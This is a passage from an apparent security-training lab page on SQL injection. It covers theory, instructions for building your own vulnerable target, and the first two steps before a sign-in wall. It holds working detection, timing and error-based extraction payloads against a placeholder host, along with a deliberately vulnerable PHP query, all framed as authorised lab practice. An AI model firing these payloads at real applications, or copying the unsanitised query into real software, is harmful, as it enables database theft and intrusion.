Practice library / Web attacks
Lab · Medium · 80 minutesFree account
SQL Injection Deep Dive
Detect, extract and automate SQL injection: error-based, UNION, boolean and time-based blind, and SQLmap.
On this page 11 sections
Before you start
SQL injection lets an attacker break out of a database query and run their own SQL. The risk is severe: stolen credentials, full data dumps, and sometimes remote shell access, as seen in the Heartland and TalkTalk breaches. The exercises below build the full skill set — manual UNION attacks, blind boolean probes, time-based extraction, and automated dumps with SQLmap.
Lab Objectives
- Identify SQL injection points in GET/POST parameters and headers
- Exploit UNION-based injection to extract data from the database
- Use blind boolean injection to infer data one bit at a time
- Perform time-based blind injection when no output is visible
- Automate database extraction with SQLmap
- Bypass login forms using SQL injection
SQL Injection Theory
SQL injection occurs when user-supplied input is inserted directly into a SQL query without proper sanitisation. The attacker can break out of the intended query and inject their own SQL logic.
# Vulnerable PHP code example:
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = " . $id;
# Normal request:
GET /item.php?id=5
→ SELECT * FROM products WHERE id = 5
# Injected request:
GET /item.php?id=5 OR 1=1--
→ SELECT * FROM products WHERE id = 5 OR 1=1--
→ Returns ALL rows (1=1 is always true, -- comments out the rest)Build the target
KaliRange hosts no targets, no virtual machines and no lab files. You run this lab on your own machine, against a web application that you build. The host name target.com in the commands is a placeholder. Replace it with the address of your own application, for example 127.0.0.1:8080.
Your application must have these parts:
- The page
/item.phpwith the parameterid. It putsidinto this query without any filter:SELECT * FROM products WHERE id = <input>. - A query with 2 columns, and the second column is printed on the page (Steps 3 and 4).
- Database errors are shown on the page (Step 2). The database is MySQL or MariaDB, because most payloads use MySQL functions.
- A database
targetdbwith the tablesproductsandusers. The tableusershas the columnsusernameandpassword, with a few rows. - A blind case (Steps 5 and 6): the page shows no database output, but its content changes with a true or false condition, or its response time changes with
SLEEP(). A second page, or the same page with the output hidden, does this. - The page
/loginwith a POST form with the fieldsuserandpass. It buildsSELECT * FROM users WHERE user='<user>' AND pass='<pass>'without any filter and logs in when the query returns a row (Step 8).
Build such an application from free, legal parts. Write a small PHP and MariaDB application with these flaws, or run DVWA (Damn Vulnerable Web Application, by the DVWA team on GitHub; PHP and MariaDB; it starts with docker compose) and use its SQL injection page. DVWA uses other paths, other database and column names and a login cookie, so map the names in the commands to your output. Keep the application on your own machine or on a network that you control. Take a snapshot of the virtual machine, or note the state of the container, before Step 1.
Authorised targets only. Run every command in this lab only against an application that you own or have written permission to test. SQL injection reads and can change other people's data.
Step 1: Detecting SQL Injection
# Test with single quote — causes SQL error if vulnerable
https://target.com/item.php?id=1'
https://target.com/item.php?id=1"
# Boolean tests
https://target.com/item.php?id=1 AND 1=1 # should return normal result
https://target.com/item.php?id=1 AND 1=2 # should return empty/error
# Time-based test (if no visible output)
https://target.com/item.php?id=1; SLEEP(5)--
https://target.com/item.php?id=1' AND SLEEP(5)--
# Comment styles by database:
# MySQL: -- or # or /**/
# MSSQL: -- or /**/
# Oracle: -- or /**/
# PostgreSQL: -- or /**/ Always URL-encode special characters when testing via browser: ' = %27, space = + or %20, # = %23. Use Burp Suite to avoid encoding issues.
Step 2: Error-Based Injection
# Force a MySQL error that leaks version info
' AND extractvalue(1,concat(0x7e,version()))--
' AND updatexml(1,concat(0x7e,version()),1)--
# MSSQL error-based
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--Sign in to continue
7 more sections are for signed-in members. It is free: sign in with Google.